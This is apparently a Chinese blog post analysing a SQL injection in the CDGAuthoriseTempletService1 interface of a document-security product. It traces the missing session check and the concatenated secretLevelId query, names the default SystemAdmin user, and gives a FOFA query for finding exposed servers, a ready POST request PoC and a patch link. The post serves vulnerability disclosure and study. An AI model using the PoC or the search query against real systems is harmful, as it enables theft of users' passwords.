某通文档xxx系统sql注入分析

某通文档xxx系统sql注入分析

一.漏洞描述

某通文档xxx系统(简称CDG)是一款综合性的数据智能安全产品,主要用于保护电子文档的安全某通文档xxx系统的 CDGAuthoriseTempletService1 接口存在 SQL 注入漏洞。攻击者可以通过构造特定的 POST 请求注入恶意 SQL 代码,利用该漏洞对数据库执行任意 SQL 操作,获取所有用户的账户密码信息。

资产测绘搜索语句

fofa:
body="/CDGServer3/index.jsp"

image.png

二.影响厂商产品

某通文档xxx系统version<5.6.3.152.179受影响。

三.漏洞分析

漏洞点快速查找,拿到源代码后,根据某步平台给出路径CDGAuthoriseTempletService1查找相关类文件

image.png

文件路径为:\tomcat\webapps\CDGServer3\WEB-INF\lib\jhiberest.jar!\com\esafenet\servlet\service\document\CDGAuthoriseTempletService1.class

首先分析下路由与鉴权

分析web.xml配置文件

image.png

在该漏洞版本的代码中,该/CDGAuthoriseTempletService1/接口路径未设置serssion效验

对比新版代码里的xml文件,显而易见已增加效验
520c4b79117734ab774e7de6479a8d5.png

GetCDGAuthoriseTemplet gcat = (GetCDGAuthoriseTemplet)this.xStream.fromXML(toServerXML);
image.png

继续分析漏洞点,使用XStream库将名为toServerXML的XML字符串解析成GetCDGAuthoriseTemplet类型的Java对象,并将这个对象赋值给名为gcat的变量

image.png

跟进代码发现调⽤validateInfo对其进⾏检查,验证用户ID(userId)和密级ID(secretLevelId)的有效性,进入else需要返回true才行所以我们要知道一个一定存在用户名,默认系统用户为SystemAdmin

image.png

继续跟进发现调⽤ getAuthoriseTempletList 方法
,发现此处进行拼接查询
image.png

userId固定,注入参数为secretLevelId,构造xml数据包

image.png

需要利用工具加密

poc:

POST /CDGServer3/CDGAuthoriseTempletService1 HTTP/1.1

Host: x
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

CGKFAICMPFGICCPHKFGGGBOMICMOKOBGPCBLKPCAHAGPFJHFABCPPKIOHIAIBJLLHJCODJMAGKBGIKDAFJHJMMKBDHABAJPBFNLBOIDFBHMMFKFHLPIAOPHEOAICJEMBCKFEIPGINHHBEGDOMEOPDKJGPNIJEDNOMEKLJHCGOJCEIPFPEDGBEHJLMNEEFIKFPGCCKCFCCOMONKACOEENLFIBAGNJBLHDEJCIPHOPDOAMGLINIEJDIFOLLGEDIDMDAKIPEINHHOFBOHLPEJBPJBKJLDDEIFOGLGHKANECEEGNDCNMJNLNJBFKNGKKJFODMFEKBOGFNDNJMCMHOFJBLGHEBALFGNNGLPBMKHHHGNKNHJGLFLODDIKAAOOOAJAEMBLBNMGOFJELPABKOEGMFLIBGPMHJPEJCKFBGHHNGMDAJBKBNNMIMFELPGEHDFGNHMBLEIKMINOAOAINBLEOIGHAMOPDNOIFFEFLGBFOFAGACH

四.漏洞复现

image.png

官网补丁

https://update.nsfocus.com/update/downloads/id/159558

4 条评论

罗辑
666
低哼
tql
罗辑
太强了,有点看懂了